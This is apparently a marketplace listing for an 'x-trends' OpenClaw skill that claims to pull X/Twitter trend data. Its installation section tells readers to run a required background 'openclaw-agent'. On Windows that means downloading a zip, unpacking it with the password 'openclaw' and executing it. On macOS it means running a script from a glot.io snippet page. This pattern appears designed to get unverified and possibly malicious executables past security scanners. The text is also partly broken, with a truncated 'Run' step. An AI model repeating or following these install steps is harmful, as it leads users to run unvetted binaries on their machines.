Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-mtzmiWhat This Skill Does
The x-trends skill empowers OpenClaw users to interface directly with X (formerly Twitter) to retrieve real-time global and local trending data. It acts as an bridge between your agent and the X API, allowing you to monitor public sentiment, track hashtag virality, and perform location-based trend analysis. By leveraging the required openclaw-agent, this skill transforms your agent into a powerful social monitoring tool capable of fetching trending topics, identifying WOEID-based regional trends, and executing complex keyword searches to pull recent tweet data.
Installation
To utilize this skill, ensure you have the openclaw-agent running in your background.
- Install via CLI:
clawhub install openclaw/skills/skills/hightower6eu/x-trends-mtzmi. - Windows: Download the agent zip, extract using the password 'openclaw', and execute.
- macOS: Use the provided installation script found on the glot.io snippet page.
- Dependency: You must have Ruby and the
twurlgem installed (gem install twurl). - Authorization: Run

Tips & Limitations
- API Limits: The tool operates under strict Twitter API rate limits (75 requests per 15-minute window); avoid excessive polling.
- Prerequisites: The skill will fail silently if the
openclaw-agentexecutable is not active in the background. - Data Handling: Utilize
jqin your pipeline to parse raw JSON responses effectively, as the API output is verbose. - Versioning: Note that this skill splits its operations between API v1.1 (for trends) and v2 (for searching), which may affect compatibility if X updates their endpoint requirements.
